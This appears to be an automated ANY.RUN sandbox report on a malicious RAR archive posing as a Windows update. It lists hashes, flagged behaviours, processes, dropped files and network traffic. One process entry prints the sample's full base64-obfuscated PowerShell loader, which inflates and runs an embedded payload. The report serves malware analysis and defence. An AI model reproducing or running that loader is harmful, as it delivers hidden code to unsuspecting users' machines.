File name:

WindowsUpdate[.rar

Full analysis: https://app.any.run/tasks/af155462-24b6-4704-88ff-4ade34cd45a6
Verdict: Malicious activity
Analysis date: May 10, 2025, 04:17:28
OS: Windows 10 Professional (build: 19044, 64 bit)
Indicators:
MIME: application/x-rar
File info: RAR archive data, v5
MD5:

273A3458953380690F96CA6653F8AB77

SHA1:

A818191EC422F98C5BF8B63B2C10CF065AA388FB

SHA256:

90E837496EE98350C43FCBDDB5C6A8CAE1719EDFA1ACF8B9F1E159AAA01D6F81

SSDEEP:

96:05LtxFhATBJg0NzOGfOdFbyVxlphomVtx3ATZAr:05FhzifO/ypQmWo

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Modifies registry (POWERSHELL)

      • powershell.exe (PID: 7588)

  • SUSPICIOUS

    • The process executes via Task Scheduler

      • powershell.exe (PID: 8120)

    • Starts POWERSHELL.EXE for commands execution

      • powershell.exe (PID: 8120)

    • Application launched itself

      • powershell.exe (PID: 8120)

    • BASE64 encoded PowerShell command has been detected

      • powershell.exe (PID: 8120)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 7588)

    • Checks a user's role membership (POWERSHELL)

      • powershell.exe (PID: 7588)

    • Base64-obfuscated command line is found

      • powershell.exe (PID: 8120)

    • Identifying current user with WHOAMI command

      • powershell.exe (PID: 8120)

  • INFO

    • Checks current location (POWERSHELL)

      • powershell.exe (PID: 8120)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 7588)

    • Reads the software policy settings

      • slui.exe (PID: 7244)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rar | RAR compressed archive (v5.0) (61.5)
.rar | RAR compressed archive (gen) (38.4)

EXIF

ZIP

FileVersion: RAR v5
CompressedSize: 2410
UncompressedSize: 9464
OperatingSystem: Win32
ArchivedFileName: WindowsUpdate[.]ps1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
139
Monitored processes
8
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs sppextcomobj.exe no specs slui.exe powershell.exe conhost.exe no specs whoami.exe no specs slui.exe no specs powershell.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2096C:\WINDOWS\System32\slui.exe -EmbeddingC:\Windows\System32\slui.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
5596"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\Desktop\WindowsUpdate[.rarC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
7208C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
7244"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe
SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7392"C:\WINDOWS\system32\whoami.exe"C:\Windows\System32\whoami.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
whoami - displays logged on user information
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\whoami.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
7588"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll
8120"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
RuntimeBroker.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
8128\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
12 182
Read events
12 174
Write events
8
Delete events
0

Modification events

(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\preferences.zip
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\chromium_ext.zip
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\Desktop\WindowsUpdate[.rar
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
(PID) Process:(5596) WinRAR.exeKey:HKEY_CURRENT_USER\SOFTWARE\WinRAR\FileList\FileColumnWidths
Operation:writeName:mtime
Value:
100
Executable files
0
Suspicious files
4
Text files
7
Unknown types
0

Dropped files

PID
Process
Filename
Type
5596WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa5596.46649\WindowsUpdate[.]ps1text
MD5:11159D6A99B66A8F158F7410350CA727
SHA256:7C846629E0C60135165A240803E8DF5A9E5D4A8588B903D431D07E7A63C508B3
8120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D2WAJPLJV81CBRZ2QIG0.tempbinary
MD5:49AC8BB6A6708B3E39FE9BB8D04BAE32
SHA256:9E27F298C4880B80850165E5CC36751D7AA3CF43BBF502C21919FE94EF3375AF
8120powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_xc3zfj2r.f3e.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7588powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pwbxre4m.mwh.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msbinary
MD5:49AC8BB6A6708B3E39FE9BB8D04BAE32
SHA256:9E27F298C4880B80850165E5CC36751D7AA3CF43BBF502C21919FE94EF3375AF
8120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txttext
MD5:3E639EB94848E4CD7521627A5ABD3A0C
SHA256:56ADF48A3E4BE2DF8CE3F8FEBFA25A7393F1AE7893FD00B575D22FD84A87F466
8120powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_u2ima2gp.uch.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8120powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF111579.TMPbinary
MD5:D040F64E9E7A2BB91ABCA5613424598E
SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7588powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_scymguga.ibz.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7588powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:9E85FB752ECAF39B2EB4F435961DA2DD
SHA256:E6188FDF3C44B781565D689FCA1BB24D7B469F367DBC0D2C96787495A8F08C41
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
7
TCP/UDP connections
31
DNS requests
18
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1116
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
1116
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2924
SearchApp.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
—
—
GET
200
23.216.77.38:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2104
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
23.216.77.38:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2112
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
3216
svchost.exe
172.211.123.250:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
6544
svchost.exe
20.190.160.130:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 4.231.128.59
whitelisted
crl.microsoft.com
  • 23.216.77.38
  • 23.216.77.42
  • 23.216.77.30
  • 23.216.77.6
  • 23.216.77.32
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
google.com
  • 172.217.16.142
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
login.live.com
  • 20.190.160.130
  • 40.126.32.74
  • 40.126.32.138
  • 40.126.32.136
  • 40.126.32.140
  • 20.190.160.4
  • 40.126.32.133
  • 20.190.160.5
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
www.bing.com
  • 2.23.227.215
  • 2.23.227.208
whitelisted
fp.msedge.net
  • 204.79.197.222
whitelisted
th.bing.com
  • 2.23.227.215
  • 2.23.227.208
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
WindowsUpdate[.rar